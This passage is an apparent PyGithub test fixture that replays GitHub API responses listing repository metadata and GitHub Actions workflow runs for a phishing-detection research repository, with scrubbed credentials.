","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-10-10T08:06:04Z","pushed_at":"2020-10-18T06:42:23Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":30731,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":11,"license":null,"forks":1,"open_issues":11,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTAMCWRKWXDZRJKUCUC7TB64U","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1682.test_no_parameters.txt0000644000175100001660000117114414756101563025433 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"495f967d8e5ea816076d5c9280e00a5a9db93f660d4167d8a40bcf25f2aaefb6"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4915'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '85'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F147:4667:92835:F4905:5F987C9B')] {"total_count":1374,"workflow_runs":[{"id":313400760,"node_id":"MDExOldvcmtmbG93UnVuMzEzNDAwNzYw","head_branch":"feature_selection","head_sha":"c59a85c5c4953cbd8e0664bf28f49a2dcd40fbdc","run_number":1088,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1357504836,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzU3NTA0ODM2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/313400760","pull_requests":[],"created_at":"2020-10-18T06:42:24Z","updated_at":"2020-10-18T07:53:13Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1357504836","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"c59a85c5c4953cbd8e0664bf28f49a2dcd40fbdc","tree_id":"935689d721c3d4d7e00e849e698cdf046e017322","message":"Updated feature selection settings","timestamp":"2020-10-18T06:42:18Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298894825,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODk0ODI1","head_branch":"master","head_sha":"510739cfa4abfcfbee293db5f0595d7b6bb3a071","run_number":1087,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1318333506,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MzMzNTA2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298894825","pull_requests":[],"created_at":"2020-10-10T08:06:03Z","updated_at":"2020-10-10T08:24:56Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318333506","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"510739cfa4abfcfbee293db5f0595d7b6bb3a071","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Created feature_selection package (#256)\n\n* Implemented feature selection functions\r\n\r\n* Added imports\r\n\r\n* refactored Feature_Selection.py\r\n\r\n* Module docstrings","timestamp":"2020-10-10T08:06:00Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298867254,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODY3MjU0","head_branch":"feature_selection","head_sha":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","run_number":286,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318275001,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4Mjc1MDAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298867254","pull_requests":[],"created_at":"2020-10-10T07:31:46Z","updated_at":"2020-10-10T07:34:24Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318275001","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Module docstrings","timestamp":"2020-10-10T07:31:34Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://a